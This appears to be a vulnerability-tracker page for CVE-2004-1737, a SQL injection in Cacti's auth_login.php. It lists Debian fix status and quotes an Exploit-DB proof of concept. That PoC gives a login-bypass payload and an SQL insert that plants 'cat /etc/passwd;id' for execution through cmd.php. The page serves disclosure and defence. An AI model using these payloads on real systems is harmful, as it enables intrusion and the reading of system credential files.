CVE-2004-1737

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

SQL injection vulnerability in auth_login.php in Cacti 0.8.5a allows remote attackers to execute arbitrary SQL commands and bypass authentication via the (1) username or (2) password parameters.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-24375 webapps php verified text · 1 KB
Fernando Quintero · 2004-07-16

RaXnet Cacti 0.6.x/0.8.x - 'Auth_Login.php' SQL Injection

text exploit Source: Exploit-DB
source: https://www.securityfocus.com/bid/10960/info

RaXnet Cacti is reportedly affected by a remote SQL injection vulnerability. This issue occurs in the auth_login.php script due to a failure of the application to properly sanitize user-supplied "username" URI parameter input before using it in an SQL query.

It is demonstrated that an attacker may exploit this vulnerability in order to bypass the authentication interface used by Cacti.

username = admin' or '6'='6
password = password wished

insert into data_input_data_cache (local_data_id, host_id,
data_input_id, action, command, hostname, snmp_community,
snmp_version, snmp_username, snmp_password, snmp_port, snmp_timeout,
rrd_name, rrd_path, rrd_num, arg1, arg2, arg3)
values ('9', '1', '7', '1', 'cat /etc/passwd;id;somecommand; some
script', '127.0.0.1', '', '1', '', '', '161', '500',
'hack', '/', '3', 'NULL', 'NULL', 'NULL');

Then points to http://www.example.com/cacti/cmd.php and the command will be
executed.

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 0.8.5a-5
sid Fixed 0.8.5a-5
forky Fixed 0.8.5a-5
bullseye Fixed 0.8.5a-5
bookworm Fixed 0.8.5a-5

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.